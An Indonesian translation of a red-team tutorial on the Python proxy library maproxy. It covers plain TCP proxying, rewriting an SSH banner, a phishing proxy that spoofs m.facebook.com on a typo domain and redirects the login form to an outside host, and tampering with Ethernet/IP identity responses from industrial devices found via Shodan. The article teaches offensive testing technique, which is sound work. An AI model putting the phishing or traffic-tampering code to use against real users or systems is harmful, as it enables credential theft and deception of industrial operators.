Terjemahan artikel disiapkan pada malam dimulainya kursus
Anotasi
Berbagai jenis penilaian keamanan, mulai dari pengujian penetrasi reguler dan operasi Tim Merah hingga peretasan perangkat IoT/ICS dan SCADA, melibatkan penggunaan protokol jaringan biner, yang pada dasarnya mencegat dan memodifikasi data jaringan antara klien dan target. Mengendus lalu lintas jaringan bukanlah tugas yang sulit karena kita memiliki alat seperti Wireshark, Tcpdump atau Scapy, namun modifikasi tampaknya menjadi tugas yang lebih memakan waktu karena kita memerlukan semacam antarmuka untuk membaca data jaringan, memfilternya, mengubahnya. dengan cepat dan mengirimkannya kembali ke host target hampir secara real-time. Selain itu, akan ideal jika alat tersebut dapat bekerja secara otomatis dengan beberapa koneksi paralel dan dapat disesuaikan menggunakan skrip.
Suatu hari saya menemukan sebuah alat bernama
, dokumentasi dengan cepat memperjelas hal itu kepada saya maproxy
– hanya yang saya butuhkan. Ini adalah proxy TCP yang cukup sederhana, serbaguna dan mudah dikonfigurasi. Saya menguji alat ini pada beberapa aplikasi yang cukup kompleks, termasuk perangkat ICS (yang menghasilkan banyak paket) untuk melihat apakah alat ini dapat menangani banyak koneksi paralel, dan alat tersebut bekerja dengan baik.
Artikel ini akan memperkenalkan Anda pada pemrosesan data jaringan dengan cepat menggunakan maproxy
.
Tinjau
Alat maproxy
didasarkan pada Tornado, kerangka jaringan asinkron yang populer dan matang dengan Python.
Secara umum, dapat beroperasi dalam beberapa mode:
TCP:TCP
– koneksi TCP tidak terenkripsi;TCP:SSL
иSSL:TCP
– dengan enkripsi satu arah;SSL:SSL
– enkripsi dua arah.
Itu datang sebagai perpustakaan. Untuk memulai dengan cepat, Anda dapat menggunakan file contoh yang mencerminkan file utama
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kasus 1 – proxy dua arah sederhana
Berdasarkan tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
По умолчанию ProxyServer()
membutuhkan dua argumen – lokasi koneksi dan port target. server.listen()
membutuhkan satu argumen - port untuk mendengarkan koneksi masuk.
Menjalankan skrip:
# python tcp2tcp.py
Untuk menjalankan pengujian, kami akan terhubung ke server SSH lokal melalui skrip proxy kami, yang mendengarkan 2222/tcp
port dan terhubung ke port standar 22/tcp
Server SSH:
Spanduk selamat datang memberi tahu Anda bahwa contoh skrip kami telah berhasil mem-proxy lalu lintas jaringan.
Kasus 2 – modifikasi data
Skrip demo lainnya logging_proxy.py
ideal untuk berinteraksi dengan data jaringan. Komentar dalam file menjelaskan metode kelas yang dapat Anda modifikasi untuk mencapai tujuan Anda:
Yang paling menarik ada di sini:
on_c2p_done_read
– untuk mencegat data sepanjang perjalanan dari klien ke server;on_p2s_done_read
- terbalik.
Mari kita coba mengubah banner SSH yang dikembalikan server ke klien:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Jalankan skrip:
Seperti yang Anda lihat, klien disesatkan karena nama server SSH untuknya diubah menjadi «DumnySSH»
.
Kasus 3 – halaman web phishing sederhana
Ada banyak cara untuk menggunakan alat ini. Kali ini mari kita fokus pada sesuatu yang lebih praktis dari sisi operasional Tim Merah. Mari kita tiru halaman arahannya m.facebook.com
dan menggunakan domain khusus dengan kesalahan ketik yang disengaja, misalnya, m.facebok.com
. Untuk tujuan demonstrasi, anggap saja domain tersebut didaftarkan oleh kami.
Kami akan membuat koneksi jaringan tidak terenkripsi dengan proxy korban kami dan Aliran SSL ke server Facebook (31.13.81.36
). Agar contoh ini berfungsi, kita perlu mengganti header host HTTP dan memasukkan nama host yang benar, dan kita juga akan menonaktifkan kompresi respons sehingga kita dapat mengakses konten dengan mudah. Pada akhirnya kami akan mengganti formulir HTML sehingga kredensial login dikirimkan kepada kami, bukan ke server Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/id/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Singkatnya:
Seperti yang Anda lihat, kami berhasil mengganti situs aslinya.
Kasus 4 – Porting Ethernet/IP
Saya telah cukup lama menangani perangkat dan perangkat lunak industri (ICS/SCADA), seperti pengontrol yang dapat diprogram (PLC), modul I/O, drive, relay, lingkungan pemrograman tangga, dan banyak lagi. Case ini diperuntukkan bagi mereka yang menyukai hal-hal industrial. Meretas solusi semacam itu melibatkan permainan aktif dengan protokol jaringan. Dalam contoh berikut, saya ingin menunjukkan bagaimana Anda dapat mengubah lalu lintas jaringan ICS/SCADA.
Untuk ini, Anda akan membutuhkan yang berikut:
- Sniffer jaringan, misalnya Wireshark;
- Ethernet/IP atau hanya perangkat SIP, Anda dapat menemukannya menggunakan layanan Shodan;
- Skrip kami didasarkan pada
maproxy
.
Pertama, mari kita lihat seperti apa respons identifikasi khas dari CIP (Common Industrial Protocol):
Identifikasi perangkat dilakukan menggunakan protokol Ethernet/IP, yang merupakan versi penyempurnaan dari protokol Ethernet industri yang menggabungkan protokol kontrol seperti CIP. Kami akan mengubah nama ID yang disorot yang terlihat di tangkapan layar "NI-IndComm untuk Ethernet" menggunakan skrip proxy kami. Kita bisa menggunakan kembali skripnya logging_proxy.py
dan juga memodifikasi metode kelas on_p2s_done_read
, karena kami ingin nama identitas yang berbeda terlihat di klien.
Kode:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Pada dasarnya, kami meminta identifikasi perangkat dua kali, respons kedua adalah respons asli, dan respons pertama langsung dimodifikasi.
Dan yang terakhir
Menurut saya maproxy
Alat yang nyaman dan sederhana, yang juga ditulis dengan Python, jadi saya yakin Anda juga bisa mendapatkan keuntungan dari menggunakannya. Tentu saja, ada alat yang lebih kompleks untuk memproses dan memodifikasi data jaringan, tetapi alat tersebut juga memerlukan perhatian lebih dan biasanya dibuat untuk kasus penggunaan tertentu, misalnya. maproxy
Anda dapat dengan cepat menerapkan ide Anda untuk mencegat data jaringan, karena contoh skripnya sangat jelas.
Sumber: www.habr.com